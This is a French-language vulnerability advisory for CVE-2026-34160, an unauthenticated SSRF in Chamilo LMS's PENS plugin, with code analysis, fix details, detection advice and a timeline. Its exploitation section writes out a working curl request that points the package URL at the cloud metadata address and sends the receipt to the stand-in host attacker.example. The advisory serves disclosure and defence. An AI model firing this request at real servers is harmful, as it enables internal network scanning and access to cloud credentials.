CVE-2026-34160
CVSS 8.6 · Élevée CorrigéCVE-2026-34160 : SSRF non authentifiée dans le plugin PENS de Chamilo LMS via les URL de paquet et de rappel
L’endpoint PENS de Chamilo LMS 2.0 téléchargeait des paquets et envoyait des rappels vers des adresses choisies par tous, réseau interne et métadonnées cloud compris.
Pour décider
- Impact
- Le serveur peut envoyer des requêtes vers des services internes ou des adresses de métadonnées cloud.
- Conditions
- Le point d’entrée du plugin PENS doit être exposé. Les destinations atteignables dépendent du réseau du serveur.
- Action recommandée
- Appliquer Chamilo 2.0-RC.3 ou ultérieur et vérifier les accès au plugin et les restrictions réseau sortantes.
Fiche de l’avis
- Produit
- Chamilo LMS
- Paquet
- composer · chamilo/chamilo-lms
- Versions affectées
- 2.0-RC.2
- Corrigé dans
- 2.0-RC.3
- CVSS
- 8.6 Élevée
- Accès requis
- Sans authentification
- Avis publié
- Crédit
- rootzero
Synthèse de l’enquête
L’endpoint du plugin PENS public/plugin/Pens/pens.php de Chamilo LMS 2.0 ne demandait aucune session et prenait ses URL package-url, receipt et alerts dans la requête. Les contrôles d’URL ne vérifiaient que le schéma et la présence d’un hôte : un attaquant non authentifié pouvait faire envoyer au serveur des requêtes GET et POST vers des hôtes internes et vers le service de métadonnées cloud. Corrigé en 2.0-RC.3.
Après l’installateur, le point d’entrée PENS
Après l’endpoint d’installation de Chamilo, nous avons poursuivi la revue des fichiers PHP exécutables directement et capables d’émettre des requêtes réseau. Le point d’entrée PENS, ajouté sur master le 22 mars 2026, lisait les champs du POST et appelait PensProcessor sans exiger de session ni vérifier l’activation du plugin. Nous avons comparé les champs d’identification prévus par le protocole avec leur utilisation réelle : ils étaient analysés, mais jamais utilisés pour autoriser l’appel.
Nous avons ensuite suivi les trois destinations réseau possibles, le téléchargement du paquet et les deux callbacks. Les fonctions de validation acceptaient un schéma et un hôte, pas une destination publique ; un fragment #.zip suffisait à satisfaire la forme du nom de paquet sans changer l’URL envoyée sur le réseau. Nous avons construit un PoC avec un serveur HTTP local pour enregistrer les deux requêtes, mais le dossier conservé ne contient aucun transcript de ce serveur. Le chemin et les contrôles absents sont établis par le code ; nous ne présentons pas une connexion sortante comme une observation locale. Nous avons signalé le cas le 24 mars. Chamilo a intégré un premier correctif le jour même, publié 2.0-RC.3 le 1er avril et l’avis CVE-2026-34160 le 14. Le transport PENS a été durci de nouveau en août ; cette suite compte pour juger le correctif, pas pour réécrire rétroactivement la preuve initiale.
Trois requêtes sortantes dans un même protocole
PENS demande au LMS de récupérer un paquet à l’URL collect, puis de signaler le résultat aux URL receipt et, éventuellement, alerts. Dans Chamilo, ces trois destinations formaient la frontière d’entrée pertinente.
Par construction, le LMS télécharge donc une URL fournie par un client distant et envoie des requêtes vers deux autres. C’est la forme même d’une SSRF, et le protocole n’est sûr que si le serveur sait qui l’appelle et restreint les destinations auxquelles il se connecte. Sur une instance cloud, les destinations joignables incluent le service de métadonnées à l’adresse 169.254.169.254 ; sur site, le réseau interne de l’hôte du LMS.
Le point d’entrée et les champs d’identité inutilisés
Le point d’entrée est court :
// public/plugin/Pens/pens.php (master, af6b700)
require_once __DIR__.'/lib/PensProcessor.php';
header('Content-Type: text/plain; charset=UTF-8');
try {
$payload = $_POST;
// ...
$processor = new PensProcessor();
echo $processor->handle($payload);
}
Ni ce fichier ni PensProcessor::handle() ne vérifient l’existence d’une session ou l’activation du plugin. Le protocole PENS prévoit des champs system-user-id et system-password pour authentifier le client ; la bibliothèque les analyse et le processeur ne les lit jamais.
La validation des URL dans PensProcessor.php a été l’étape suivante. isAllowedDownloadUrl() et isAllowedCallbackUrl() contrôlent le schéma et la présence d’un hôte, puis renvoient true. Le docblock du contrôle des rappels annonce des URL « pointing to public hosts or to the current Chamilo host », ce que le code n’implémente pas. Un dernier détail a fini de rendre le cas évident : le même fichier contenait déjà une fonction plus stricte, isAllowedRemoteUrl(), qui résout l’hôte et rejette les adresses privées et réservées. Rien, sur le chemin de téléchargement, ne l’appelait.
Le bug est une variante du précédent : même produit, même type de point d’entrée accessible sans session et, cette fois, une défense présente dans le code mais jamais branchée sur le chemin dangereux.
Cause racine
Le chemin de téléchargement valide l’URL avec le contrôle faible, puis la confie à cURL :
// public/plugin/Pens/lib/PensProcessor.php (master, af6b700)
if (!$this->isAllowedDownloadUrl($request->getPackageUrl())) {
error_log('[Pens][collectPackage] download url rejected');
throw new PENSException(1301);
}
// ...
$curlHandle = curl_init();
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
curl_setopt($curlHandle, CURLOPT_FILE, $fileHandle);
curl_setopt($curlHandle, CURLOPT_FOLLOWLOCATION, false);
$result = curl_exec($curlHandle);
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
if (!is_array($parts)) {
return false;
}
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) {
return false;
}
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) {
return false;
}
return true;
}
isAllowedCallbackUrl() répète les trois mêmes tests, puis sendCallback() envoie les champs PENS vers l’URL receipt ou alerts avec curl_init($url) et CURLOPT_POST. Boucle locale, plages RFC 1918, adresses link-local et leurs équivalents IPv6 sont tous acceptés (CWE-918), et aucune authentification ne protège l’une ou l’autre requête (CWE-306).
La version 2.0-RC.2 elle-même livrait l’ancien serveur php-pens (lib/pens/pens_server.php), dont la méthode collectPackage() transmet l’URL du paquet à cURL sans aucun contrôle de destination. PensProcessor est arrivé sur la branche master le 22/03/2026 (commit 24178d5), et l’avis décrit master au commit af6b700. Les deux chemins de code téléchargent l’URL sans aucun contrôle d’adresse.
Exploitation
L’analyseur de php-pens doit accepter la requête avant tout téléchargement. La lecture de la bibliothèque donne ses exigences : command doit valoir collect, pens-version doit valoir 1.0.0, package-type et package-format doivent appartenir à des listes fixes (le processeur exige ensuite scorm-pif et zip), package-id et receipt doivent être des URI absolues, package-url-expiry doit être une date future, client ne doit pas être vide, et package-url doit se terminer par un point suivi du format du paquet. Cette dernière règle ne restreint pas la destination : un fragment comme #.zip la satisfait, et cURL ne l’envoie jamais sur le réseau.
Une requête collect construite selon ces règles :
curl -X POST "http://<target>/plugin/Pens/pens.php" \
--data-urlencode "command=collect" \
--data-urlencode "pens-version=1.0.0" \
--data-urlencode "package-type=scorm-pif" \
--data-urlencode "package-type-version=1.2" \
--data-urlencode "package-format=zip" \
--data-urlencode "package-id=urn:example:probe" \
--data-urlencode "package-url=http://169.254.169.254/latest/meta-data/#.zip" \
--data-urlencode "package-url-expiry=2030-01-01T00:00:00Z" \
--data-urlencode "client=probe" \
--data-urlencode "receipt=https://attacker.example/receipt"
Le serveur envoie GET /latest/meta-data/ à l’adresse des métadonnées, écrit la réponse dans un fichier temporaire et la vérifie. La réponse HTTP renvoyée à l’attaquant est toujours le même message « collect command received and understood ». Le résultat part ailleurs : le processeur envoie un accusé de réception, avec le code et le texte d’erreur PENS, vers l’URL receipt, que l’attaquant fait pointer vers un serveur qu’il contrôle. En remplaçant l’URL du paquet par des adresses et des ports internes, l’attaquant obtient un scanner des réseaux que l’hôte du LMS peut joindre.
Le second vecteur passe par les rappels eux-mêmes. Avec receipt ou alerts pointant vers une URL interne, comme http://10.0.0.50:8080/internal-endpoint, le LMS envoie à ce service une requête POST qui porte les champs PENS. Les cibles sont ici les endpoints internes qui acceptent des POST non authentifiés et changent d’état à leur réception. La preuve de concept publique illustre les deux vecteurs.
Impact
L’avis GitHub note la faille 8,6 avec AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N : aucun compte, aucune action d’un utilisateur, et des requêtes qui atteignent d’autres systèmes que Chamilo. L’avis présente l’accès aux métadonnées cloud, identifiants IAM compris, comme le risque principal.
Le code invite à une lecture plus nuancée, et les deux doivent être dites. Le corps de la réponse au téléchargement n’est jamais renvoyé au demandeur : il est stocké dans un fichier temporaire puis supprimé, sauf s’il commence par une signature ZIP, auquel cas il est archivé comme paquet. Ce que l’attaquant observe, c’est le code d’erreur PENS dans l’accusé de réception, qui distingue une réponse 401 ou 403 (1312) d’un échec de connexion, d’une erreur HTTP ou d’un corps qui n’est pas un ZIP (tous 1310), ainsi que la durée de chaque requête. Sur la seule base du code, le vecteur du paquet est donc une SSRF aveugle avec un oracle grossier. Les services de métadonnées de Google Cloud et d’Azure exigent en outre un en-tête de requête spécifique que ce GET n’envoie pas, alors que les instances AWS qui autorisent encore IMDSv1 y répondent. La note de confidentialité élevée traduit donc ce que le serveur peut atteindre plutôt qu’une lecture démontrée d’identifiants ; l’exposition reste sérieuse pour un LMS placé à côté de services internes et qui détient des données d’apprenants.
Correctif
Chamilo a corrigé la faille le 24/03/2026, le jour du signalement, dans le commit de4058d (« Security: Refactor URL validation logic to ensure stricter checks against private/reserved ranges »). Le correctif branche la fonction stricte existante sur les deux chemins et supprime la fonction faible :
// public/plugin/Pens/lib/PensProcessor.php (2.0-RC.3)
if (!$this->isAllowedPackageUrl($request->getPackageUrl())) { // appelle isAllowedRemoteUrl($url, true)
throw new PENSException(1301);
}
private function isAllowedCallbackUrl(string $url): bool
{
return $this->isAllowedRemoteUrl($url, false);
}
private function isAllowedRemoteUrl(string $url, bool $allowCurrentHost): bool
{
// contrôles du schéma et de l'hôte comme avant, puis :
if ($this->isLocalHostName($host)) {
return $allowCurrentHost && $this->isCurrentApplicationHost($host);
}
$resolvedIp = gethostbyname($host);
if (filter_var($resolvedIp, FILTER_VALIDATE_IP)) {
$isPublicIp = filter_var(
$resolvedIp,
FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
);
if (!$isPublicIp) {
return $allowCurrentHost && $this->isCurrentApplicationHost($host);
}
}
return true;
}
FILTER_FLAG_NO_RES_RANGE couvre 127.0.0.0/8 et 169.254.0.0/16, et les redirections restent désactivées : les cas décrits dans l’avis sont fermés. Le correctif a été livré dans la 2.0-RC.3, étiquetée le 01/04/2026.
Le contrôle garde cependant les limites d’une conception « valider puis télécharger ». gethostbyname() ne renvoie que des adresses IPv4 et renvoie son entrée inchangée quand la résolution échoue ; la branche filter_var() est alors sautée et la fonction renvoie true : les littéraux IPv6 et les noms sans enregistrement A ne sont pas filtrés. Le nom est aussi résolu deux fois, une fois par le contrôle et une fois par cURL, ce qui laisse place au DNS rebinding. Chamilo a traité cette classe plus tard, dans le commit 3afab56 du 07/08/2026 (« Security: harden PENS remote transport against SSRF »). Téléchargements et rappels passent désormais par un PensRemoteTransport construit sur SafeHttpClientHelper, une enveloppe autour du NoPrivateNetworkHttpClient de Symfony qui, selon sa documentation, refuse les cibles résolues vers des plages de boucle locale, privées ou réservées et revalide chaque étape de redirection. Le transport désactive aussi les redirections, plafonne la taille des téléchargements pendant le flux, supprime l’exception accordée à l’hôte courant et, selon le message de commit, couvre les adresses IPv6 traduites. Chamilo 3.0.0-beta.1, publié le 13/08/2026, l’inclut.
Une défense SSRF solide pour une fonction comme PENS comporte cinq éléments, et le transport ultérieur en implémente la plupart : authentifier le client avant toute requête sortante (PENS définit déjà des identifiants pour cela) ; résoudre le nom et vérifier chaque adresse renvoyée, IPv4 et IPv6, formes IPv4 mappées comprises ; se connecter à l’adresse vérifiée, en l’épinglant ou en validant l’adresse du pair au moment de la connexion, pour qu’une réponse de rebinding ne puisse pas s’intercaler ; refuser les redirections ou valider chaque étape avec les mêmes règles ; et adosser le tout à une politique de flux sortants sur l’hôte.
Détection et mitigation
- Mettre à jour vers la 2.0-RC.3 ou une version ultérieure. Sur la branche 3.0, les versions à partir de 3.0.0-beta.1 incluent le transport réécrit.
- Si PENS n’est pas utilisé, bloquer
/plugin/Pens/pens.phpet la route Symfony/plugin/pens/collectau niveau du serveur web ; le contrôleur derrière cette route ne déclare aucun contrôle d’accès propre. - Si PENS est utilisé, restreindre les deux points d’entrée aux adresses des outils auteurs qui publient vers le LMS.
- Rechercher dans le journal d’erreurs PHP les lignes
[Pens][collectPackage] start package-url=: le processeur vulnérable journalise chaque URL de paquet reçue, et des URL vers des adresses privées, de boucle locale ou link-local sont un signal clair. - Filtrer le trafic sortant de l’hôte du LMS, bloquer l’adresse des métadonnées pour l’utilisateur du serveur web quand la plateforme le permet, et exiger IMDSv2 sur les instances AWS.
Chronologie
| Date | Événement |
|---|---|
| 09/03/2026 | Publication de Chamilo 2.0-RC.2 |
| 22/03/2026 | Ajout de PensProcessor sur master (24178d5) ; découverte de la vulnérabilité |
| 24/03/2026 | Signalement privé via l’avis de sécurité GitHub GHSA-g2xj-4cch-j276 |
| 24/03/2026 | Correctif intégré au code (de4058d) |
| 01/04/2026 | Publication de Chamilo 2.0-RC.3 |
| 14/04/2026 | Publication de l’avis GHSA-g2xj-4cch-j276 avec CVE-2026-34160 |
| 07/08/2026 | Transport PENS reconstruit sur le client HTTP protégé contre la SSRF (3afab56) |
| 13/08/2026 | Publication de Chamilo 3.0.0-beta.1 avec ce changement |
Références
- Avis de l’éditeur · CVE-2026-34160 github.com/chamilo/chamilo-lms/security/advisories/GHSA-g2xj-4cch-j276
- Fiche NVD · CVE-2026-34160 nvd.nist.gov/vuln/detail/CVE-2026-34160
- Fiche CVE.org · CVE-2026-34160 www.cve.org/CVERecord?id=CVE-2026-34160
- MITRE CWE-306 cwe.mitre.org/data/definitions/306.html
- MITRE CWE-918 cwe.mitre.org/data/definitions/918.html
- Dépôt du projet github.com/chamilo/chamilo-lms
- Preuve de concept et notes de reproduction github.com/romain-deperne/CVE-2026-34160
Citer cet avis
rootzero. « CVE-2026-34160 : SSRF non authentifiée dans le plugin PENS de Chamilo LMS via les URL de paquet et de rappel ». Recherche de vulnérabilités, rootzero, 14 avril 2026. https://rootzero.eu/research/cve/cve-2026-34160-chamilo-pens-ssrf/
#Recherche de vulnérabilités
Faites auditer votre code avant qu’un autre ne le fasse.
Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.